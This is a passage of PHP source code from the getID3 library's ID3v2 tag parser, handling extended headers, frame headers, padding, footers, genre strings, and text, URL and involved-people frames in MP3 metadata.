%0xxxxxxx // 28-bit synchsafe integer //Number of flag bytes $01 //Extended Flags $xx // %0bcd0000 // v2.4 // b - Tag is an update // Flag data length $00 // c - CRC data present // Flag data length $05 // Total frame CRC 5 * %0xxxxxxx // d - Tag restrictions // Flag data length $01 $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true); $extended_header_offset += 4; $thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1 $extended_header_offset += 1; $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; $thisfile_id3v2['exthead']['flags']['update'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40); $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20); $thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10); if ($thisfile_id3v2['exthead']['flags']['update']) { $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0 $extended_header_offset += 1; } if ($thisfile_id3v2['exthead']['flags']['crc']) { $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5 $extended_header_offset += 1; $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false); $extended_header_offset += $ext_header_chunk_length; } if ($thisfile_id3v2['exthead']['flags']['restrictions']) { $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1 $extended_header_offset += 1; // %ppqrrstt $restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); $extended_header_offset += 1; $thisfile_id3v2['exthead']['flags']['restrictions']['tagsize'] = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['textenc'] = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['imgenc'] = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions $thisfile_id3v2['exthead']['flags']['restrictions']['imgsize'] = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions $thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize'] = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc'] = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc'] = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']); $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize'] = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']); } if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) { $this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')'); } } $framedataoffset += $extended_header_offset; $framedata = substr($framedata, $extended_header_offset); } // end extended header while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) { // insufficient room left in ID3v2 header for actual data - must be padding $thisfile_id3v2['padding']['start'] = $framedataoffset; $thisfile_id3v2['padding']['length'] = strlen($framedata); $thisfile_id3v2['padding']['valid'] = true; for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) { if ($framedata[$i] != "\x00") { $thisfile_id3v2['padding']['valid'] = false; $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); break; } } break; // skip rest of ID3v2 header } $frame_header = null; $frame_name = null; $frame_size = null; $frame_flags = null; if ($id3v2_majorversion == 2) { // Frame ID $xx xx xx (three characters) // Size $xx xx xx (24-bit integer) // Flags $xx xx $frame_header = substr($framedata, 0, 6); // take next 6 bytes for header $framedata = substr($framedata, 6); // and leave the rest in $framedata $frame_name = substr($frame_header, 0, 3); $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0); $frame_flags = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs } elseif ($id3v2_majorversion > 2) { // Frame ID $xx xx xx xx (four characters) // Size $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+) // Flags $xx xx $frame_header = substr($framedata, 0, 10); // take next 10 bytes for header $framedata = substr($framedata, 10); // and leave the rest in $framedata $frame_name = substr($frame_header, 0, 4); if ($id3v2_majorversion == 3) { $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer } else { // ID3v2.4+ $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value) } if ($frame_size < (strlen($framedata) + 4)) { $nextFrameID = substr($framedata, $frame_size, 4); if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) { // next frame is OK } elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) { // MP3ext known broken frames - "ok" for the purposes of this test } elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) { $this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3'); $id3v2_majorversion = 3; $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer } } $frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2)); } if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) { // padding encountered $thisfile_id3v2['padding']['start'] = $framedataoffset; $thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata); $thisfile_id3v2['padding']['valid'] = true; $len = strlen($framedata); for ($i = 0; $i < $len; $i++) { if ($framedata[$i] != "\x00") { $thisfile_id3v2['padding']['valid'] = false; $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); break; } } break; // skip rest of ID3v2 header } if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) { $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.'); $frame_name = $iTunesBrokenFrameNameFixed; } if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) { $parsedFrame = array(); $parsedFrame['frame_name'] = $frame_name; $parsedFrame['frame_flags_raw'] = $frame_flags; $parsedFrame['data'] = substr($framedata, 0, $frame_size); $parsedFrame['datalength'] = getid3_lib::CastAsInt($frame_size); $parsedFrame['dataoffset'] = $framedataoffset; $this->ParseID3v2Frame($parsedFrame); $thisfile_id3v2[$frame_name][] = $parsedFrame; $framedata = substr($framedata, $frame_size); } else { // invalid frame length or FrameID if ($frame_size <= strlen($framedata)) { if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) { // next frame is valid, just skip the current frame $framedata = substr($framedata, $frame_size); $this->warning('Next ID3v2 frame is valid, skipping current frame.'); } else { // next frame is invalid too, abort processing //unset($framedata); $framedata = null; $this->error('Next ID3v2 frame is also invalid, aborting processing.'); } } elseif ($frame_size == strlen($framedata)) { // this is the last frame, just skip $this->warning('This was the last ID3v2 frame.'); } else { // next frame is invalid too, abort processing //unset($framedata); $framedata = null; $this->warning('Invalid ID3v2 frame size, aborting.'); } if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) { switch ($frame_name) { case "\x00\x00".'MP': case "\x00".'MP3': case ' MP3': case 'MP3e': case "\x00".'MP': case ' MP': case 'MP3': $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]'); break; default: $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).'); break; } } elseif (!isset($framedata) || ($frame_size > strlen($framedata))) { $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).'); } else { $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).'); } } $framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion)); } } // Footer // The footer is a copy of the header, but with a different identifier. // ID3v2 identifier "3DI" // ID3v2 version $04 00 // ID3v2 flags %abcd0000 // ID3v2 size 4 * %0xxxxxxx if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) { $footer = $this->fread(10); if (substr($footer, 0, 3) == '3DI') { $thisfile_id3v2['footer'] = true; $thisfile_id3v2['majorversion_footer'] = ord($footer[3]); $thisfile_id3v2['minorversion_footer'] = ord($footer[4]); } if ($thisfile_id3v2['majorversion_footer'] <= 4) { $id3_flags = ord($footer[5]); $thisfile_id3v2_flags['unsynch_footer'] = (bool) ($id3_flags & 0x80); $thisfile_id3v2_flags['extfoot_footer'] = (bool) ($id3_flags & 0x40); $thisfile_id3v2_flags['experim_footer'] = (bool) ($id3_flags & 0x20); $thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10); $thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1); } } // end footer if (isset($thisfile_id3v2['comments']['genre'])) { $genres = array(); foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) { foreach ($this->ParseID3v2GenreString($value) as $genre) { $genres[] = $genre; } } $thisfile_id3v2['comments']['genre'] = array_unique($genres); unset($key, $value, $genres, $genre); } if (isset($thisfile_id3v2['comments']['track_number'])) { foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) { if (strstr($value, '/')) { list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]); } } } if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) { $thisfile_id3v2['comments']['year'] = array($matches[1]); } if (!empty($thisfile_id3v2['TXXX'])) { // MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames foreach ($thisfile_id3v2['TXXX'] as $txxx_array) { switch ($txxx_array['description']) { case 'replaygain_track_gain': if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) { $info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); } break; case 'replaygain_track_peak': if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) { $info['replay_gain']['track']['peak'] = floatval($txxx_array['data']); } break; case 'replaygain_album_gain': if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) { $info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); } break; } } } // Set avdataoffset $info['avdataoffset'] = $thisfile_id3v2['headerlength']; if (isset($thisfile_id3v2['footer'])) { $info['avdataoffset'] += 10; } return true; } /** * @param string $genrestring * * @return array */ public function ParseID3v2GenreString($genrestring) { // Parse genres into arrays of genreName and genreID // ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)' // ID3v2.4.x: '21' $00 'Eurodisco' $00 $clean_genres = array(); // hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) { // note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here: // replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name if (strpos($genrestring, '/') !== false) { $LegitimateSlashedGenreList = array( // https://github.com/JamesHeinrich/getID3/issues/223 'Pop/Funk', // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard 'Cut-up/DJ', // Discogs - https://www.discogs.com/style/cut-up/dj 'RnB/Swing', // Discogs - https://www.discogs.com/style/rnb/swing 'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul ); $genrestring = str_replace('/', "\x00", $genrestring); foreach ($LegitimateSlashedGenreList as $SlashedGenre) { $genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring); } } // some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal" if (strpos($genrestring, ';') !== false) { $genrestring = str_replace(';', "\x00", $genrestring); } } if (strpos($genrestring, "\x00") === false) { $genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring); } $genre_elements = explode("\x00", $genrestring); foreach ($genre_elements as $element) { $element = trim($element); if ($element) { if (preg_match('#^[0-9]{1,3}$#', $element)) { $clean_genres[] = getid3_id3v1::LookupGenreName($element); } else { $clean_genres[] = str_replace('((', '(', $element); } } } return $clean_genres; } /** * @param array $parsedFrame * * @return bool */ public function ParseID3v2Frame(&$parsedFrame) { // shortcuts $info = &$this->getid3->info; $id3v2_majorversion = $info['id3v2']['majorversion']; $parsedFrame['framenamelong'] = $this->FrameNameLongLookup($parsedFrame['frame_name']); if (empty($parsedFrame['framenamelong'])) { unset($parsedFrame['framenamelong']); } $parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']); if (empty($parsedFrame['framenameshort'])) { unset($parsedFrame['framenameshort']); } if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard if ($id3v2_majorversion == 3) { // Frame Header Flags // %abc00000 %ijk00000 $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity } elseif ($id3v2_majorversion == 4) { // Frame Header Flags // %0abc0000 %0h00kmnp $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption $parsedFrame['flags']['Unsynchronisation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation $parsedFrame['flags']['DataLengthIndicator'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator // Frame-level de-unsynchronisation - ID3v2.4 if ($parsedFrame['flags']['Unsynchronisation']) { $parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']); } if ($parsedFrame['flags']['DataLengthIndicator']) { $parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1); $parsedFrame['data'] = substr($parsedFrame['data'], 4); } } // Frame-level de-compression if ($parsedFrame['flags']['compression']) { $parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4)); if (!function_exists('gzuncompress')) { $this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"'); } else { if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) { //if ($decompresseddata = @gzuncompress($parsedFrame['data'])) { $parsedFrame['data'] = $decompresseddata; unset($decompresseddata); } else { $this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"'); } } } } if (!empty($parsedFrame['flags']['DataLengthIndicator'])) { if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) { $this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data'); } } if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) { $warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion'; switch ($parsedFrame['frame_name']) { case 'WCOM': $warning .= ' (this is known to happen with files tagged by RioPort)'; break; default: break; } $this->warning($warning); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1 UFID Unique file identifier (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) { // 4.1 UFI Unique file identifier // There may be more than one 'UFID' frame in a tag, // but only one with the same 'Owner identifier'. //

    // Owner identifier $00 // Identifier $exploded = explode("\x00", $parsedFrame['data'], 2); $parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : ''); $parsedFrame['data'] = (isset($exploded[1]) ? $exploded[1] : ''); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) { // 4.2.2 TXX User defined text information frame // There may be more than one 'TXXX' frame in each tag, // but only one with the same description. //
    // Text encoding $xx // Description $00 (00) // Value $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description'])); $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); } else { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); } } //unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain } elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame // There may only be one text information frame of its kind in an tag. //
    // Text encoding $xx // Information $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { // ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with / // This of course breaks when an artist name contains slash character, e.g. "AC/DC" // MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense // getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user switch ($parsedFrame['encoding']) { case 'UTF-16': case 'UTF-16BE': case 'UTF-16LE': $wordsize = 2; break; case 'ISO-8859-1': case 'UTF-8': default: $wordsize = 1; break; } $Txxx_elements = array(); $Txxx_elements_start_offset = 0; for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) { if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) { $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); $Txxx_elements_start_offset = $i + $wordsize; } } $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); foreach ($Txxx_elements as $Txxx_element) { $string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element); if (!empty($string)) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string; } } unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset); } } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) { // 4.3.2 WXX User defined URL link frame // There may be more than one 'WXXX' frame in each tag, // but only one with the same description //
    // Text encoding $xx // Description $00 (00) // URL $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); // according to the frame text encoding $parsedFrame['url'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1 $parsedFrame['description'] = $this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); } unset($parsedFrame['data']); } elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames // There may only be one URL link frame of its kind in a tag, // except when stated otherwise in the frame description //
    // URL $parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1 if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); } unset($parsedFrame['data']); } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4 IPLS Involved people list (ID3v2.3 only) (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) { // 4.4 IPL Involved people list (ID3v2.2 only) // http://id3.org/id3v2.3.0#sec4.4 // There may only be one 'IPL' frame in each tag //
    // Text encoding $xx // People list strings $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($parsedFrame['encodingid']); $parsedFrame['data_raw'] = (string) substr($parsedFrame['data'], $frame_offset); // https://www.getid3.org/phpBB3/viewtopic.php?t=1369 // "this tag typically contains null terminated strings, which are associated in pairs" // "there are users that use the tag incorrectly" $IPLS_parts = array(); if (strpos($parsedFrame['data_raw'], "\x00") !== false) { $IPLS_parts_unsorted = array(); if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) { // UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding $thisILPS = ''; for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) { $twobytes = substr($parsedFrame['data_raw'], $i, 2); if ($twobytes === "\x00\x00") { $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); $thisILPS = ''; } else { $thisILPS .= $twobytes; } } if (strlen($thisILPS) > 2) { // 2-byte BOM $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); } } else { // ISO-8859-1 or UTF-8 or other single-byte-null character set $IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']); } if (count($IPLS_parts_unsorted) == 1) { // just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson" foreach ($IPLS_parts_unsorted as $key => $value) { $IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value); $position = ''; foreach ($IPLS_parts_sorted as $person) { $IPLS_parts[] = array('position'=>$position, 'person'=>$person); } } } elseif ((count($IPLS_parts_unsorted) % 2) == 0) { $position = ''; $person = ''; foreach ($IPLS_parts_unsorted as $key => $value) { if 